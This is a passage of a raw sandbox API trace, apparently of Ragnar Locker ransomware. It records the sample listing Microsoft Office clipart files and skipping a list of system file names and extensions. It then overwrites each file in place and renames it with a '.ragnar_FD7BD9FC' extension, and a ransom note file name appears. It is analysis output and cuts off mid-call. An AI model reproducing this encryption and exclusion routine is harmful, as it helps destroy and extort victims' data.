ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.515] VirtualAlloc (lpAddress=0x0, dwSize=0x938, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.515] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.515] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.515] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x938, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x938, lpOverlapped=0x0) returned 1 [0088.515] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.515] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x938, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.515] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x938, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x938, lpOverlapped=0x0) returned 1 [0088.515] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x938, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.515] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.516] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x938, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.516] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.516] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.516] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.516] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.516] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.516] GetProcessHeap () returned 0x580000 [0088.516] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.516] CloseHandle (hObject=0xf4) returned 1 [0088.516] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" [0088.516] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.ragnar_FD7BD9FC" [0088.516] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.517] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf33f00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bf33f00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00512_.WMF", cAlternateFileName="")) returned 1 [0088.517] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.517] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00512_.WMF" | out: lpString1="NA00512_.WMF") returned="NA00512_.WMF" [0088.517] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF") returned=".WMF" [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="autorun.inf") returned 1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="boot.ini") returned 1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="bootfont.bin") returned 1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="bootsect.bak") returned 1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="bootmgr") returned 1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="bootmgr.efi") returned 1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="desktop.ini") returned 1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="iconcache.db") returned 1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="ntldr") returned -1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="ntuser.dat") returned -1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="ntuser.ini") returned -1 [0088.517] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="thumbs.db") returned -1 [0088.517] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.517] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.517] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.517] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.517] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.517] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.517] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf")) returned 0x20 [0088.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.518] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2912) returned 1 [0088.518] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.518] GetProcessHeap () returned 0x580000 [0088.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.518] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.520] VirtualAlloc (lpAddress=0x0, dwSize=0xb60, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.520] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb60, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb60, lpOverlapped=0x0) returned 1 [0088.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.520] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb60, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.520] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb60, lpOverlapped=0x0) returned 1 [0088.520] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb60, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.520] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.521] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.521] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.521] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.521] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.521] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.521] GetProcessHeap () returned 0x580000 [0088.521] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.521] CloseHandle (hObject=0xf4) returned 1 [0088.521] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" [0088.521] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.ragnar_FD7BD9FC" [0088.521] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.522] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9b2c00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc9b2c00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x6efa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00523_.WMF", cAlternateFileName="")) returned 1 [0088.522] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.522] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00523_.WMF" | out: lpString1="NA00523_.WMF") returned="NA00523_.WMF" [0088.522] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF") returned=".WMF" [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="autorun.inf") returned 1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="boot.ini") returned 1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="bootfont.bin") returned 1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="bootsect.bak") returned 1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="bootmgr") returned 1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="bootmgr.efi") returned 1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="desktop.ini") returned 1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="iconcache.db") returned 1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="ntldr") returned -1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="ntuser.dat") returned -1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="ntuser.ini") returned -1 [0088.522] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="thumbs.db") returned -1 [0088.522] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.522] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.522] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.523] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.523] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.523] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.523] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf")) returned 0x20 [0088.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.523] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28410) returned 1 [0088.523] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6ef1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.523] GetProcessHeap () returned 0x580000 [0088.523] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.523] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.525] VirtualAlloc (lpAddress=0x0, dwSize=0x6efa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.525] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.525] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.525] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6efa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6efa, lpOverlapped=0x0) returned 1 [0088.526] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.526] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6efa, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.526] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6efa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6efa, lpOverlapped=0x0) returned 1 [0088.526] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6efa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.526] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.527] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6efa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.527] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.527] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.527] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.527] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.527] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.527] GetProcessHeap () returned 0x580000 [0088.527] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.527] CloseHandle (hObject=0xf4) returned 1 [0088.530] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" [0088.530] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.ragnar_FD7BD9FC" [0088.530] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.530] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a54b00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6a54b00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x5880, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00525_.WMF", cAlternateFileName="")) returned 1 [0088.530] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.530] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00525_.WMF" | out: lpString1="NA00525_.WMF") returned="NA00525_.WMF" [0088.530] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF") returned=".WMF" [0088.530] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.530] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="autorun.inf") returned 1 [0088.530] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="boot.ini") returned 1 [0088.530] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="bootfont.bin") returned 1 [0088.531] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="bootsect.bak") returned 1 [0088.531] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="bootmgr") returned 1 [0088.531] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="bootmgr.efi") returned 1 [0088.531] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.531] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="desktop.ini") returned 1 [0088.531] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="iconcache.db") returned 1 [0088.531] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="ntldr") returned -1 [0088.531] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="ntuser.dat") returned -1 [0088.531] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.531] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="ntuser.ini") returned -1 [0088.531] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="thumbs.db") returned -1 [0088.531] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.531] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.531] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.531] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.531] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.531] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.531] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf")) returned 0x20 [0088.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.532] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22656) returned 1 [0088.532] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5877, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.532] GetProcessHeap () returned 0x580000 [0088.532] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.532] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.534] VirtualAlloc (lpAddress=0x0, dwSize=0x5880, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.534] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5880, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, 